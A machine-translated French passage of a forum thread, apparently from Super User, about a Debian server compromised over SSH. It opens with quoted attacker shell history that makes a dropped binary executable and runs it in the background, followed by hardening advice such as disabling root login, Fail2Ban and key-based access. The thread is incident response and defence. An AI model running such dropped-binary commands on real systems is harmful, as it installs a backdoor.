chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Donc, pas d'activités autres que l'installation de la porte dérobée pour plus tard.

Gunther Nitzsche
la source
D'accord, c'est le même MO.
MariusMatutiae
1
@MariusMatutiae Donc, ce n'est pas un bidouillage manuel alors? C'est une sorte de ver / bot à propagation automatique?
NickG
1
@ NickG Ma meilleure hypothèse est que ce n'était pas un hack manuel. Quelle est la probabilité que vaid travaille dans le même bureau que l'initiateur d'un botnet basé en Chine? Quelqu'un a trouvé une faiblesse exploitable dans sa machine, très probablement un serveur ssh faiblement sécurisé, un mot de passe brutalement forcé, un accès obtenu, tenté de s’installer subrepticement. Cependant, je parierais également que l'attaquant parle plus couramment Windows que Linux. Mais je n'ai pas difficile preuve, juste une supposition.
MariusMatutiae
12

Tout le monde ici a offert des conseils judicieux, mais pour être clair, vos priorités doivent être de sauvegarder et de vérifier ce que vous avez vraiment besoin de ce système, puis de le nettoyer avec une nouvelle installation à partir d'un support connu.

Avant de connecter votre hôte nouvellement installé à Internet, exécutez ces idées:

  1. Créez un nouvel utilisateur non root et connectez-vous en tant qu'utilisateur. Vous ne devriez jamais avoir besoin de vous connecter en tant que root, mais simplement sudo (utilisateur suppléant do) si nécessaire.

  2. Installez SE Linux, paramètres de configuration permettant le contrôle d'accès obligatoire: https://wiki.debian.org/SELinux/Setup

  3. Envisagez un pare-feu matériel entre votre bureau / domicile et Internet. J'utilise MicroTik, qui bénéficie d'un excellent support communautaire: http://routerboard.com/ .

En supposant que vous soyez sur un calendrier pour terminer votre travail rémunéré, faites au moins # 1. Le numéro 3 est rapide et bon marché, mais vous devrez soit attendre le colis par la poste, soit vous rendre au magasin.

pyn
la source
3
Et surtout, ne laissez pas votre ordinateur en marche sans surveillance avec une session root ouverte!
MariusMatutiae
11
  1. Est -ce que debian-armhf est votre nom d'hôte? Ou utilisez-vous une installation par défaut avec des paramètres par défaut? Cela ne pose aucun problème, mais vous ne devriez pas autoriser l'hôte à être directement exposé à Internet (c'est-à-dire qu'il n'est pas protégé par votre modem, du moins).

  2. Il semble que le véritable problème vienne de 222.186.30.209 (voir http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Vous ne devriez pas payer beaucoup d'attention pour voir l'adresse IP de Microsoft. Les IP peuvent être plus ou moins simulés / usurpés assez facilement.

  3. Une façon habituelle de se connecter à Internet consiste à transférer une liste connue de ports de votre adresse IP publique (par exemple, 8.8.8.8) à votre réseau local (par exemple, 192.168.1.12).

    • Par exemple, ne transférez pas toutes les connexions entrantes de 8.8.8.8 (public) à 192.168.1.12 (local).

    • Transférer uniquement les ports 22 et 25 (ssh et courrier entrant, respectivement). Bien entendu, vous devriez également disposer de packages / bibliothèques ssh et smtp à jour.

  4. Et après? Déconnectez l'hôte et modifiez tous les mots de passe (sur les ordinateurs associés à l'organisation) codés en dur dans des scripts de shell (honte à vous!) Dans /etc/shadow.

Archemar
la source
1. Oui debian-armhf est le nom d’hôte. 2. Oui, j'ai lu cet article et j'ai contacté Microsoft via leur site Web, cest.microsoft.com. 3. Je n'avais envoyé que les 25 et 22, rien d'autre n'a été transmis. 4. Je vais faire ça
vaid
"L'IP peut être plus ou moins facilement un faux": je ne suis ni un expert en sécurité ni en réseau. Comment est-ce possible?
kevinarpe
@ kevinarpe C'est probablement beaucoup mieux comme question distincte.
un CVn
2
@Archemar: SSH est TCP; simuler une adresse IP source TCP est difficile, voire impossible. De plus, comme indiqué ci-dessus, l'adresse IP de Microsoft appartient à leur service cloud Azure, ce qui signifie que n'importe qui aurait pu gagner du temps sur le service pour attaquer d'autres personnes.
Nneonneo
9

Comme d'autres l'ont dit, il est clair que la sécurité de votre serveur a été compromise. Le plus sûr est d'essuyer cette machine et de la réinstaller.

Pour répondre à la deuxième partie de votre question, si vous ne pouvez pas utiliser l'authentification par clé publique, je vous recommande au moins de configurer Fail2Ban et d'exécuter SSH sur un port non standard. J'ai également désactivé l'accès SSH racine.

Fail2Ban contribuera à atténuer les attaques par force brute en interdisant les adresses IP qui ne parviennent pas à se connecter un certain nombre de fois.

Définir sshd pour écouter sur un port non standard contribuera au moins à réduire un peu la visibilité de votre serveur SSH. La désactivation de la connexion root réduit également légèrement le profil d'attaque. Dans /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Avec la connexion root désactivée, vous devrez soit basculer vers la racine avec suune fois que vous êtes connecté, ou (plus préférablement) utiliser sudopour exécuter des commandes privilégiées.

Nate H
la source
J'ai fait les deux, merci pour le conseil.
Vaid
8

Les serveurs SSH sont constamment attaqués sur Internet. Quelques choses que vous faites:

  1. Assurez-vous d'utiliser un mot de passe aléatoire très sécurisé, pour les machines accessibles par Internet. Je veux dire comme 16 caractères ou plus et complètement aléatoire. Utilisez un gestionnaire de mot de passe pour ne pas avoir à le mémoriser. Si vous pouvez mémoriser votre mot de passe, c'est trop simple.

  2. Si vous n'avez pas besoin de SSH, désactivez-le. Si vous en avez besoin, mais que vous n'avez pas besoin qu'il soit accessible publiquement, exécutez-le sur un numéro de port élevé et non standard. Cela réduira considérablement les tentatives de piratage. Oui, un pirate informatique dédié peut analyser les ports, mais les robots automatisés ne le trouveront pas.

L'extrait de votre journal d'authentification indique une tentative infructueuse. Cependant, si vous regardez plus loin, vous constaterez sans aucun doute une connexion réussie. Si vous utilisez un mot de passe simple, il est alors trivial pour un bot d'entrer.

Vous devez isoler cette machine du réseau. Prenez très soigneusement ce dont vous avez besoin, puis essuyez-le.

utilisateur1751825
la source
7
Quand j’exécutais ssh sur le port 22, j’avais en général des milliers de tentatives de piratage par jour. Quand j'ai changé pour un numéro de port élevé (plus de 50000), ces tentatives de piratage ont complètement cessé.
user1751825
16 caractères ne sont pas suffisamment sécurisés. La déconnexion de l'utilisateur est également pratique. Il suffit de ne pas en faire un lock-out permanent, de le faire expirer, mais de le rendre environ une heure. De cette façon, vous pouvez toujours accéder au serveur.
Ramhound
Notez que l'étape 2) n'est pas strictement nécessaire pour la sécurité, tant que vous disposez d'une authentification forte (clé publique ou mot de passe fort).
user20574
2
@Ramhound Pourquoi pas? 43608742899428874059776 possibilités, ce qui est peu pratique pour la force brute, en particulier pour une force brute en ligne où le serveur vous fait attendre chaque fois que vous échouez à une tentative.
user20574
3
@ user20574. Bien que cela ne soit pas strictement nécessaire, réduire la visibilité du service SSH reste très utile. Même si ce n’est pas pour autre chose que de supprimer l’encombrement de vos journaux. Si une machine doit seulement être accessible à un groupe limité de personnes, un port non standard constitue une étape parfaitement raisonnable pour améliorer la sécurité.
user1751825
6

La première chose que tout le monde devrait faire après avoir configuré un serveur Linux / Unix frontal est de le désactiver immédiatement root.

Votre système a été compromis. Vous avez un journal d’historique en cours d’exécution qui pourrait être intéressant à regarder dans une certaine mesure. Mais honnêtement, disséquer les détails est un peu tatillon et ne vous aidera pas à sécuriser votre serveur. Il montre toutes sortes de bêtises qui se produisent lorsqu'un botnet a généré un malware (qui est probablement ce qui a infecté votre serveur) infecte un système Linux. La réponse fournie par @MariusMatutiae est agréable et bien pensée et d’autres répètent que vous avez été piraté via un rootaccès qui est le rêve de tout un malware / botnet.

Il existe quelques explications sur la façon de désactiver, rootmais je vais préciser par expérience personnelle que la plupart des choses qui vont au-delà de ce que je vais décrire maintenant sont excessives. Voici ce que vous auriez dû faire lors de la première installation du serveur:

  1. Créez un nouvel utilisateur avec des sudodroits: Créez un nouvel utilisateur avec un nouveau nom, par exemple, en cooldudeutilisant une commande comme sudo adduser cooldudesi vous utilisiez Ubuntu ou un autre type de système Debian. Ensuite, éditez simplement le sudofichier manuellement en utilisant une commande comme celle-ci sudo nano /etc/sudoerset ajoutez une ligne comme celle située en cooldude ALL=(ALL:ALL) ALLdessous de la ligne équivalente à lire root ALL=(ALL:ALL) ALL. Ceci fait, connectez-vous en tant que cooldudeet testez la sudocommande avec une commande du type « sudo wquelque chose de basique et non destructif» pour voir si les sudodroits fonctionnent. Vous pourriez être invité à entrer un mot de passe. Ça marche? Tout bon! Passez à l'étape suivante.
  2. Verrouiller le rootcompte: d' accord, maintenant qu'il cooldudeest responsable des sudodroits, connectez-vous en tant que cooldudeet exécutez cette commande pour verrouiller le compte root sudo passwd -l root. Si d’une manière ou d’une autre vous avez créé une paire de clés SSH root, ouvrez /root/.ssh/authorized_keyset retirez les clés. Ou mieux encore, il suffit de renommer le fichier authorized_keys_OFFcomme celui - ci, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFpour désactiver efficacement les clés SSH. Je préfère la version ultérieure, car vous avez toujours besoin d'une connexion sans mot de passe. Vous pouvez simplement déplacer ce fichier vers son nom d'origine et vous devriez être prêt à partir.

FWIW, j'ai géré des dizaines de serveurs Linux au cours des années (des décennies?) Et je sais par expérience que simplement désactiver rootet configurer un nouvel utilisateur doté de sudodroits est le moyen le plus simple et le plus simple de sécuriser un système Linux. Je n'ai jamais eu à faire face à aucun type de compromis via SSH une fois que celui-ci rootest désactivé. Et oui, vous pouvez voir des tentatives de connexion via le auth.logmais elles ne veulent rien dire; Si elle rootest désactivée, ces tentatives ne donneront jamais rien. Asseyez-vous et observez les tentatives infructueuses!

JakeGould
la source